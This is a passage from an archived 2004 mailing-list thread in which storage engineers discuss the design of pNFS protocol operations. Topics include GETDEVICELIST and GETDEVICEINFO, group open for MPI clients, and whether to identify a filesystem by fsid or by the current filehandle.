accessible Step (1) and (2) can be acheived by doing a GETATTR when it first encounters a new fsid. This means it will do this when it crosses internal mount points. The attribute would be, e.g., LAYOUT_CLASSES and it would return an array of layout class values. These would select from available layout drives to implement that middle ""pnfs"" layer, or ""layout driver"" layer. Next, the client can use the new GETDEVICELIST (if it so chooses) to enumerate the devices associated with that filesystem. It might determine at that point that it does not have sufficient connectivity to access storage directly. It could fail the ""mount"", or it could simply make a note to itself that it isn't worth trying out the pNFS operations on that fsid. Last meeting Dave Noveck argued against using an fsid as an input parameter to GETDEVICEINFO and GETDEVICELIST. I'm not sure I can replay his argument, and it seems convenient to be able to do so from the client's perspective. Note also the GETDEVICELIST may not be needed by all layout drivers. The other strategy is to wait until a new short device name (i.e., small integer) appears in a layout, and then do a GETDEVICEINFO op to learn more about it. The next topic was Group Open. The motivating example is to have 1000 clients that all want to open the same file. One desired paradigm by the HPC programming community is to be able to do a single OPEN/LAYOUTGET operation on a ""master"" node, and then have it give out the resulting layout and stateids to its 100's of slave nodes, which then access storage directly. The previous solutions proposed by the group include a kind of share_key on the LAYOUTGET. However, that solution still implies that all 100's of slave nodes do their own LAYOUTGET. Is it possible to avoid that? How does it affect the protocol? Can we let the clients ""cheat"", er, cooperate in this way? How much protection should the filesystem provide against different MPI applications that might accidentally share the same file? Mostly we had questions. One fringe theory was that the MPI application could somehow get a new clientid (of the SETCLIENTID kind) that represented the collection of processors involved in the MPI application. This is compatible with the typical batch processing MPI environments where N nodes are allocated, and then a job is run against those nodes. The master node uses this clientid to get the layout-related stateids. It gives out the layout information to its slaves, and the underlying filesystem allows use of the layout information by the nodes represented by that clientID. There is somewhat tenuous connection between the set of processors, the clientID, the layout and associated layout stateID, and the class-specific information in the layout that is passed to the storage device so it can ensure that only those processors access storage. The next topic was client failure recovery. The net result is that we can claim leverage off the existing NFSv4 features to deal with crashed clients. This includes that layouts have associated layout stateids that ""expire"" along with the rest of the client state. The main new issue introduced by pNFS is that the client may have to do a lot of I/O in response to a layout recall. The client may need to remember to send null ops to the server during this period if it were to risk not doing anything within the lease time. Of course, the client should only reply with its LAYOUTRETURN after it knows its I/O has completed. ""All existing NFS security mechanisms apply to these ops"". Need to remember this standard text in our RFC. We talked about attribute handling semantics. Mostly we agreed not to state much. For example, a LAYOUTCOMMIT implies that the modify time changed, but we don't need to mandate precisely when that takes effect on the server. Ditto for access time and ctime. The final item was layout lifetimes. The client is free to cache the layout information for as long as the stateid is valid. The layout is associated with a file handle, so the layout can be applied to many different OPEN / CLOSE sessions on a file. (Even open/close at the vop level.) -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com >From dnoveck@netapp.com Mon Oct 04 12:12:09 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 65401 invoked from network); 4 Oct 2004 19:12:08 -0000 Received: from unknown (66.218.66.172) by m21.grp.scd.yahoo.com with QMQP; 4 Oct 2004 19:12:08 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 4 Oct 2004 19:12:08 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i94JBuFC012762; Mon, 4 Oct 2004 12:11:56 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i94JBtt8025156; Mon, 4 Oct 2004 12:11:55 -0700 (PDT) Received: from violet.hq.netapp.com ([10.56.10.190]) by svlexc01.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 4 Oct 2004 12:11:55 -0700 Received: from exnane01.hq.netapp.com ([10.97.0.61]) by violet.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.2966); Mon, 4 Oct 2004 12:11:55 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Date: Mon, 4 Oct 2004 15:11:54 -0400 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Notes from Sept 30 Thread-Index: AcSnZFmLvbCBJy+cQKCGAdryGu41qwAO2PTQ To: Cc: X-OriginalArrivalTime: 04 Oct 2004 19:11:55.0581 (UTC) FILETIME=[037776D0:01C4AA46] X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck > Last meeting Dave Noveck argued against using an fsid as an input > parameter to GETDEVICEINFO and GETDEVICELIST. I'm not sure I can > replay his argument, and it seems convenient to be able to do so > from the client's perspective. I don't think this is a big deal. I guess I would argue that it is more in keeping with the spirit of the protocol to get the fsid from the current fh. Any file handle within the target fs would do. Essentially you would be specifying the filesystem which could also be identified by using the fsid. If you have an fsid, you got it from an fh within the fs (by doing a GETATTR) so that whenever the client has an fsid, it must have an fh within it and it can use the typical v4 style of specification by doing a PUTFH followed by the GETDEVICEINFO or GETDEVICELIST. -----Original Message----- From: Brent Welch [mailto:bwelch@panasas.com] Sent: Thursday, September 30, 2004 11:08 PM To: pnfs-reqs@yahoogroups.com Cc: welch@panasas.com Subject: [pnfs-reqs] Notes from Sept 30 (This will be one of the last postings before we complete the move to the nfsv4 mailing list. Just wanted to capture these notes.) These were the agenda items for today's pnfs ops discussion. GETDEVINFO / GETDEVLIST Group Open Client Failures Attribute Handling Layout life cycle We started with a general review for newcomers. This led to a bit of discussion about how the client is structured. We identified three layers on the client side: the high level ""generic"" layers that deal with vnode ops and other interfaces to the host OS. The middle layer that understands layout information. Its job is to convert I/O requests into operations on the underlying devices based on the layout information. The lowest level is the device driver layer that just does raw I/O. We coined the term ""layout class"" to describe families of layouts for file, object and block access. Within each layout class there are different possible layouts that describe how the data is organized onto one or more storage devices. I'd like to propose the term ""layout driver"" as the code module that understands a class of layouts. (At the meeting we used the term ""storage access module"") With this view, it is the middle layer (hmm, the ""pnfs layer?"") that understands layouts and issues I/O to drivers. And, it is this layer that brings us to the GETDEVICEINFO and GETDEVICELIST ops. We had this in the early drafts, and then tried to drop it because it was particular to this layout-class-specific layer of code. However, essentialy all layouts have the problem of needing a fairly compact way to refer to devices from layouts, and therefore they need a way to map from these short device names to more complete information required to find the device. This topic was discussed at the last meeting, where we re-introduced GETDEVICEINFO. At this meeting, David Black gave us a tutorial on the world of SCSI resource discovery. The net result is that the SCSI layer queries all available devices and reads volume label information off the attached devices as an absolute way to determine what devices are accessible and which ports happen to be useful by the current host for that device. Different hosts may use different physical addresses for the same device, and the same device may appear at a different physical address over time. These are the consequences of multi-path networks and failover. That's just how it is. In this world is it somewhat natural for the server to compare notes with its clients about the devices that are used by the filesystem. This motivates the GETDEVICELIST operation that the client would use to read out the entire device table for the filesystem. Input parameters are clientID and fsid, and the result is an array of mappings from short device names to a storage type ""information"" specific to that type. We talked about the sequence of operations that the client takes when it first encounters a filesystem (e.g., ""mount"" time) 1) Determine if the filesystem can do pNFS 2) Determine what kind of storage devices and storage protocols are involved 3) Determine if the storage devices are in fact accessible Step (1) and (2) can be acheived by doing a GETATTR when it first encounters a new fsid. This means it will do this when it crosses internal mount points. The attribute would be, e.g., LAYOUT_CLASSES and it would return an array of layout class values. These would select from available layout drives to implement that middle ""pnfs"" layer, or ""layout driver"" layer. Next, the client can use the new GETDEVICELIST (if it so chooses) to enumerate the devices associated with that filesystem. It might determine at that point that it does not have sufficient connectivity to access storage directly. It could fail the ""mount"", or it could simply make a note to itself that it isn't worth trying out the pNFS operations on that fsid. Last meeting Dave Noveck argued against using an fsid as an input parameter to GETDEVICEINFO and GETDEVICELIST. I'm not sure I can replay his argument, and it seems convenient to be able to do so from the client's perspective. Note also the GETDEVICELIST may not be needed by all layout drivers. The other strategy is to wait until a new short device name (i.e., small integer) appears in a layout, and then do a GETDEVICEINFO op to learn more about it. The next topic was Group Open. The motivating example is to have 1000 clients that all want to open the same file. One desired paradigm by the HPC programming community is to be able to do a single OPEN/LAYOUTGET operation on a ""master"" node, and then have it give out the resulting layout and stateids to its 100's of slave nodes, which then access storage directly. The previous solutions proposed by the group include a kind of share_key on the LAYOUTGET. However, that solution still implies that all 100's of slave nodes do their own LAYOUTGET. Is it possible to avoid that? How does it affect the protocol? Can we let the clients ""cheat"", er, cooperate in this way? How much protection should the filesystem provide against different MPI applications that might accidentally share the same file? Mostly we had questions. One fringe theory was that the MPI application could somehow get a new clientid (of the SETCLIENTID kind) that represented the collection of processors involved in the MPI application. This is compatible with the typical batch processing MPI environments where N nodes are allocated, and then a job is run against those nodes. The master node uses this clientid to get the layout-related stateids. It gives out the layout information to its slaves, and the underlying filesystem allows use of the layout information by the nodes represented by that clientID. There is somewhat tenuous connection between the set of processors, the clientID, the layout and associated layout stateID, and the class-specific information in the layout that is passed to the storage device so it can ensure that only those processors access storage. The next topic was client failure recovery. The net result is that we can claim leverage off the existing NFSv4 features to deal with crashed clients. This includes that layouts have associated layout stateids that ""expire"" along with the rest of the client state. The main new issue introduced by pNFS is that the client may have to do a lot of I/O in response to a layout recall. The client may need to remember to send null ops to the server during this period if it were to risk not doing anything within the lease time. Of course, the client should only reply with its LAYOUTRETURN after it knows its I/O has completed. ""All existing NFS security mechanisms apply to these ops"". Need to remember this standard text in our RFC. We talked about attribute handling semantics. Mostly we agreed not to state much. For example, a LAYOUTCOMMIT implies that the modify time changed, but we don't need to mandate precisely when that takes effect on the server. Ditto for access time and ctime. The final item was layout lifetimes. The client is free to cache the layout information for as long as the stateid is valid. The layout is associated with a file handle, so the layout can be applied to many different OPEN / CLOSE sessions on a file. (Even open/close at the vop level.) -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com Yahoo! Groups Links >From black_david@emc.com Tue Oct 05 21:28:08 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 48482 invoked from network); 6 Oct 2004 04:28:07 -0000 Received: from unknown (66.218.66.167) by m25.grp.scd.yahoo.com with QMQP; 6 Oct 2004 04:28:07 -0000 Received: from unknown (HELO mailhub.lss.emc.com) (168.159.2.31) by mta6.grp.scd.yahoo.com with SMTP; 6 Oct 2004 04:28:06 -0000 Received: from mxic2.corp.emc.com (mxic2.corp.emc.com [128.221.12.9]) by mailhub.lss.emc.com (Switch-3.1.6/Switch-3.1.6) with ESMTP id i964S1iT022977 for ; Wed, 6 Oct 2004 00:28:02 -0400 (EDT) Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Wed, 6 Oct 2004 00:27:54 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Wed, 6 Oct 2004 00:27:46 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-PMX-Version: 4.6.1.107272, Antispam-Core: 4.6.1.106808, Antispam-Data: 2004.10.5.4 X-PerlMx-Spam: Gauge=, SPAM=0%, Report='EMC_FROM_0 -0, __TLG_EMC_ENVFROM_0 0, __IMS_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, NO_REAL_NAME 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __ANY_IMS_MUA 0, __IMS_MUA 0, __HAS_X_MAILER 0, __CT_TEXT_PLAIN 0, __CT 0, __C230066_P5 0, __MIME_TEXT_ONLY 0, EMC_BODY_1 -5' X-eGroups-Remote-IP: 168.159.2.31 From: black_david@emc.com Subject: fsid usage X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 I took a closer look at how HighRoad's FMP protocol uses fsid, and an fsid is allowed, but not required as an input argument to its analog to GETDEVICELIST (FMP doesn't have a GETDEVICEINFO call). FMP's analog of GETDEVICELIST is called FMP_Mount, and it has a number of ways to identify the filesystem - the NFS-relevant ones are: 1) Absolute path on the fileserver from ""root"" on the fileserver 2) An NFS handle to any file in the filesystem. 3) An fsid 4) The NFS mount point of the filesystem (string). Number 1) is perhaps not the best idea, as it creates client dependencies on the internal configuration of the fileserver, so let me set it aside. The remaining three are useful in different situations at the client: 2) Roughly as Dave Noveck outlines - an NFS filehandle is a good starting point if the client knows that the handle's in a filesystem for which the client doesn't have device info. 3) If the client doesn't know that the handle is in a filesystem for which the client lacks device info, the fsid is useful. To avoid any ambiguity about which filesystem any device shorthand refers to, FMP always returns the fsid with the layout info. If a client gets back an fsid it hasn't seen before, it's convenient to use that fsid to go get the device info, since the client indexes device info by fsid. 4) This is useful for a client that scans the mount structure of the mounted NFS filesystems at startup to gather relevant device info in advance. The mount string is part of the mount operation and is convenient for getting device info at mount time. Notice that in this case, the client does not need to open any files to gather device info. This suggests that both the fsid and the mount point string are useful ways to get device info in addition to an NFS file handle. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- > -----Original Message----- > From: Noveck, Dave [mailto:dnoveck@netapp.com] > Sent: Monday, October 04, 2004 3:12 PM > To: pnfs-reqs@yahoogroups.com > Cc: welch@panasas.com > Subject: RE: [pnfs-reqs] Notes from Sept 30 > > > > > Last meeting Dave Noveck argued against using an fsid as an input > > parameter to GETDEVICEINFO and GETDEVICELIST. I'm not sure I can > > replay his argument, and it seems convenient to be able to do so > > from the client's perspective. > > I don't think this is a big deal. I guess I would argue that it is > more in keeping with the spirit of the protocol to get the fsid from > the current fh. Any file handle within the target fs would do. > Essentially you would be specifying the filesystem which could also > be identified by using the fsid. If you have an fsid, you got it > from an fh within the fs (by doing a GETATTR) so that whenever the > client has an fsid, it must have an fh within it and it can use the > typical v4 style of specification by doing a PUTFH followed by the > GETDEVICEINFO or GETDEVICELIST. >From trond.myklebust@fys.uio.no Wed Oct 06 10:55:27 2004 Return-Path: X-Sender: trond.myklebust@fys.uio.no X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 62563 invoked from network); 6 Oct 2004 17:55:26 -0000 Received: from unknown (66.218.66.218) by m21.grp.scd.yahoo.com with QMQP; 6 Oct 2004 17:55:26 -0000 Received: from unknown (HELO pat.uio.no) (129.240.130.16) by mta3.grp.scd.yahoo.com with SMTP; 6 Oct 2004 17:55:25 -0000 Received: from mail-mx6.uio.no ([129.240.10.47]) by pat.uio.no with esmtp (Exim 4.34) id 1CFFyo-0000ai-QU for pnfs-reqs@yahoogroups.com; Wed, 06 Oct 2004 19:53:35 +0200 Received: from 213.80-202-70.nextgentel.com ([80.202.70.213] helo=[192.168.1.102]) by smtp.uio.no with asmtp (SSLv3:RC4-MD5:128) (Exim 4.34) id 1CFFym-0002Ne-Sq for pnfs-reqs@yahoogroups.com; Wed, 06 Oct 2004 19:53:33 +0200 To: pnfs-reqs@yahoogroups.com In-Reply-To: References: Content-Type: text/plain; charset=iso-8859-1 Message-Id: <1097085203.5245.49.camel@lade.trondhjem.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Wed, 06 Oct 2004 19:53:23 +0200 Content-Transfer-Encoding: quoted-printable X-MailScanner-Information: This message has been scanned for viruses/spam. Contact postmaster@uio.no if you have questions about this scanning X-UiO-MailScanner: No virus found X-UiO-Spam-info: not spam, SpamAssassin (score=0, required 12) X-eGroups-Remote-IP: 129.240.130.16 From: Trond Myklebust Subject: Re: [pnfs-reqs] fsid usage X-Yahoo-Group-Post: member; u=194000208 X-Yahoo-Profile: trondmy ADVERTISEMENT P� on , 06/10/2004 klokka 06:27, skreiv black_david@emc.com: > I took a closer look at how HighRoad's FMP protocol uses fsid, > and an fsid is allowed, but not required as an input argument to > its analog to GETDEVICELIST (FMP doesn't have a GETDEVICEINFO > call). FMP's analog of GETDEVICELIST is called FMP_Mount, and > it has a number of ways to identify the filesystem - the > NFS-relevant ones are: > > 1) Absolute path on the fileserver from ""root"" on the > fileserver > 2) An NFS handle to any file in the filesystem. > 3) An fsid > 4) The NFS mount point of the filesystem (string). There are uniqueness guarantees on filehandles that have previously not existed for fsids. Are you planning on introducing such guarantees into NFS? I'm basically referring to the fact that many NFS servers currently may change the value of the fsid upon reboot or sometimes just even on remount. Cheers, Trond >From dnoveck@netapp.com Wed Oct 06 12:31:43 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 16616 invoked from network); 6 Oct 2004 19:31:42 -0000 Received: from unknown (66.218.66.218) by m25.grp.scd.yahoo.com with QMQP; 6 Oct 2004 19:31:42 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 6 Oct 2004 19:31:42 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i96JVbFC021446 for ; Wed, 6 Oct 2004 12:31:37 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i96JVUf1008457 for ; Wed, 6 Oct 2004 12:31:37 -0700 (PDT) Received: from lavender.hq.netapp.com ([10.56.11.75]) by svlexc01.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.6713); Wed, 6 Oct 2004 12:31:30 -0700 Received: from exnane01.hq.netapp.com ([10.97.0.61]) by lavender.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.6713); Wed, 6 Oct 2004 12:31:30 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Date: Wed, 6 Oct 2004 15:31:29 -0400 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] fsid usage Thread-Index: AcSrXOQowi52+0OKS7u29a7qCXlyUQAeW/GA To: X-OriginalArrivalTime: 06 Oct 2004 19:31:30.0550 (UTC) FILETIME=[14A10160:01C4ABDB] X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] fsid usage X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck ADVERTISEMENT > 3) If the client doesn't know that the handle is in a filesystem > for which the client lacks device info, the fsid is > useful. To avoid any ambiguity about which filesystem > any device shorthand refers to, FMP always returns the > fsid with the layout info. If a client gets back an fsid > it hasn't seen before, it's convenient to use that fsid > to go get the device info, since the client indexes device > info by fsid. In v4, how can a client have an fsid, and not have a file handle for an object within the associated fs? How did he get the fsid if not via a GETATTR of an fh specifying the FSID attribute? > 4) This is useful for a client that scans the mount structure > of the mounted NFS filesystems at startup to gather > relevant device info in advance. The mount string is > part of the mount operation and is convenient for getting > device info at mount time. Notice that in this case, the > client does not need to open any files to gather device info. In v4, and you have a string, you can do PUTFH, and then a series of LOOKUP's and then you have the file handle you need via a GETFH or you can add the GETDEVICELIST/GETDEVINFO and use current fh directly. So I can't see the need for these ops to use anything but the current fh to indicate what fs they are for. >From trond.myklebust@fys.uio.no Wed Oct 06 12:50:05 2004 Return-Path: X-Sender: trond.myklebust@fys.uio.no X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 14297 invoked from network); 6 Oct 2004 19:50:00 -0000 Received: from unknown (66.218.66.217) by m5.grp.scd.yahoo.com with QMQP; 6 Oct 2004 19:50:00 -0000 Received: from unknown (HELO pat.uio.no) (129.240.130.16) by mta2.grp.scd.yahoo.com with SMTP; 6 Oct 2004 19:50:00 -0000 Received: from mail-mx6.uio.no ([129.240.10.47]) by pat.uio.no with esmtp (Exim 4.34) id 1CFHnH-0004aw-7f for pnfs-reqs@yahoogroups.com; Wed, 06 Oct 2004 21:49:47 +0200 Received: from 213.80-202-70.nextgentel.com ([80.202.70.213] helo=[192.168.1.103]) by smtp.uio.no with asmtp (SSLv3:RC4-MD5:128) (Exim 4.34) id 1CFHnB-0007lB-MS for pnfs-reqs@yahoogroups.com; Wed, 06 Oct 2004 21:49:42 +0200 To: pnfs-reqs@yahoogroups.com In-Reply-To: References: Content-Type: text/plain; charset=iso-8859-1 Message-Id: <1097092168.30728.18.camel@lade.trondhjem.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Wed, 06 Oct 2004 21:49:28 +0200 Content-Transfer-Encoding: quoted-printable X-MailScanner-Information: This message has been scanned for viruses/spam. Contact postmaster@uio.no if you have questions about this scanning X-UiO-MailScanner: No virus found X-UiO-Spam-info: not spam, SpamAssassin (score=0, required 12) X-eGroups-Remote-IP: 129.240.130.16 From: Trond Myklebust Subject: RE: [pnfs-reqs] fsid usage X-Yahoo-Group-Post: member; u=194000208 X-Yahoo-Profile: trondmy P� on , 06/10/2004 klokka 21:31, skreiv Noveck, Dave: > > 4) This is useful for a client that scans the mount structure > > of the mounted NFS filesystems at startup to gather > > relevant device info in advance. The mount string is > > part of the mount operation and is convenient for getting > > device info at mount time. Notice that in this case, the > > client does not need to open any files to gather device info. > > In v4, and you have a string, you can do PUTFH, and then a > series of LOOKUP's and then you have the file handle you need > via a GETFH or you can add the GETDEVICELIST/GETDEVINFO and use > current fh directly. Note that what Dave means here is that the ""current"" property of filehandles allows you to do the LOOKUPs and GETDEVICELIST/GETDEVICEINFO in a single compound. This is more rational than having to first get the fsid in one compound, in order to be able to copy it into the argument for a second GETDEVICELIST/.. compound. You could of course define a ""current fsid"" in order to gain the same benefits, but that seems like overkill, given the number of operations that want to be able to use it. Cheers, Trond >From bwelch@panasas.com Wed Oct 06 15:21:42 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 94885 invoked from network); 6 Oct 2004 22:21:39 -0000 Received: from unknown (66.218.66.172) by m19.grp.scd.yahoo.com with QMQP; 6 Oct 2004 22:21:39 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.206) by mta4.grp.scd.yahoo.com with SMTP; 6 Oct 2004 22:21:39 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i96MLdB13988 for ; Wed, 6 Oct 2004 15:21:39 -0700 Message-Id: <200410062221.i96MLdB13988@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs X-Mailer: exmh version 2.7.1 10/4/2004 with nmh-1.0.4 To: pnfs-reqs@yahoogroups.com In-reply-to: <1097092168.30728.18.camel@lade.trondhjem.org> References: <1097092168.30728.18.camel@lade.trondhjem.org> Comments: In-reply-to Trond Myklebust message dated ""Wed, 06 Oct 2004 21:49:28 +0200."" X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o From: Brent Welch Subject: Re: [pnfs-reqs] fsid usage X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 The current ops draft, under review, uses the current filehandle as an implicit argument in GETDEVICEINFO/LIST >>>Trond Myklebust said: > > on , 06/10/2004 klokka 21:31, skreiv Noveck, Dave: > > > 4) This is useful for a client that scans the mount structure > > > of the mounted NFS filesystems at startup to gather > > > relevant device info in advance. The mount string is > > > part of the mount operation and is convenient for getting > > > device info at mount time. Notice that in this case, the > > > client does not need to open any files to gather device info. > > > > In v4, and you have a string, you can do PUTFH, and then a > > series of LOOKUP's and then you have the file handle you need > > via a GETFH or you can add the GETDEVICELIST/GETDEVINFO and use > > current fh directly. > > Note that what Dave means here is that the ""current"" property of > filehandles allows you to do the LOOKUPs and > GETDEVICELIST/GETDEVICEINFO > in a single compound. > > This is more rational than having to first get the fsid in one > compound, > in order to be able to copy it into the argument for a second > GETDEVICELIST/.. compound. You could of course define a ""current fsid"" > in order to gain the same benefits, but that seems like overkill, given > the number of operations that want to be able to use it. -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com >From black_david@emc.com Wed Oct 06 18:20:34 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 58682 invoked from network); 7 Oct 2004 01:20:33 -0000 Received: from unknown (66.218.66.172) by m25.grp.scd.yahoo.com with QMQP; 7 Oct 2004 01:20:33 -0000 Received: from unknown (HELO mailhub.lss.emc.com) (168.159.2.31) by mta4.grp.scd.yahoo.com with SMTP; 7 Oct 2004 01:20:33 -0000 Received: from MAHO3MSX2.corp.emc.com (maho3msx2.corp.emc.com [128.221.11.32]) by mailhub.lss.emc.com (Switch-3.1.6/Switch-3.1.6) with ESMTP id i971KUJE024933 for ; Wed, 6 Oct 2004 21:20:31 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Wed, 6 Oct 2004 21:20:30 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Wed, 6 Oct 2004 21:20:30 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-PMX-Version: 4.6.1.107272, Antispam-Core: 4.6.1.106808, Antispam-Data: 2004.10.6.3 X-PerlMx-Spam: Gauge=, SPAM=0%, Report='EMC_FROM_0 -0, __TLG_EMC_ENVFROM_0 0, __IMS_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, NO_REAL_NAME 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __ANY_IMS_MUA 0, __IMS_MUA 0, __HAS_X_MAILER 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __C230066_P5 0, __MIME_TEXT_ONLY 0, EMC_BODY_1 -5' X-eGroups-Remote-IP: 168.159.2.31 From: black_david@emc.com Subject: RE: [pnfs-reqs] fsid usage X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 > P� on , 06/10/2004 klokka 06:27, skreiv black_david@emc.com: > > I took a closer look at how HighRoad's FMP protocol uses fsid, > > and an fsid is allowed, but not required as an input argument to > > its analog to GETDEVICELIST (FMP doesn't have a GETDEVICEINFO > > call). FMP's analog of GETDEVICELIST is called FMP_Mount, and > > it has a number of ways to identify the filesystem - the > > NFS-relevant ones are: > > > > 1) Absolute path on the fileserver from ""root"" on the > > fileserver > > 2) An NFS handle to any file in the filesystem. > > 3) An fsid > > 4) The NFS mount point of the filesystem (string). > > There are uniqueness guarantees on filehandles that have previously not > existed for fsids. Are you planning on introducing such guarantees into > NFS? No. > I'm basically referring to the fact that many NFS servers currently may > change the value of the fsid upon reboot or sometimes just even on > remount. For reboot there are existing state revalidation protocols (stateid) that can cope with what's going on; if the fsid changes, best bet is to discard any saved device info and refetch. Across unmount/remount, the client needs to discard the device info and fetch it anew on remount. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- >From black_david@emc.com Wed Oct 06 18:23:59 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 37049 invoked from network); 7 Oct 2004 01:23:59 -0000 Received: from unknown (66.218.66.166) by m8.grp.scd.yahoo.com with QMQP; 7 Oct 2004 01:23:59 -0000 Received: from unknown (HELO mailhub.lss.emc.com) (168.159.2.31) by mta5.grp.scd.yahoo.com with SMTP; 7 Oct 2004 01:23:58 -0000 Received: from mxic2.corp.emc.com (mxic2.corp.emc.com [128.221.12.9]) by mailhub.lss.emc.com (Switch-3.1.6/Switch-3.1.6) with ESMTP id i971NuAC019861 for ; Wed, 6 Oct 2004 21:23:56 -0400 (EDT) Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Wed, 6 Oct 2004 21:23:56 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Wed, 6 Oct 2004 21:23:55 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-PMX-Version: 4.6.1.107272, Antispam-Core: 4.6.1.106808, Antispam-Data: 2004.10.6.3 X-PerlMx-Spam: Gauge=, SPAM=0%, Report='EMC_FROM_0 -0, __TLG_EMC_ENVFROM_0 0, __IMS_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, NO_REAL_NAME 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __ANY_IMS_MUA 0, __IMS_MUA 0, __HAS_X_MAILER 0, __CT_TEXT_PLAIN 0, __CT 0, __C230066_P5 0, __MIME_TEXT_ONLY 0, EMC_BODY_1 -5' X-eGroups-Remote-IP: 168.159.2.31 From: black_david@emc.com Subject: RE: [pnfs-reqs] fsid usage X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 > > 3) If the client doesn't know that the handle is in a filesystem > > for which the client lacks device info, the fsid is > > useful. To avoid any ambiguity about which filesystem > > any device shorthand refers to, FMP always returns the > > fsid with the layout info. If a client gets back an fsid > > it hasn't seen before, it's convenient to use that fsid > > to go get the device info, since the 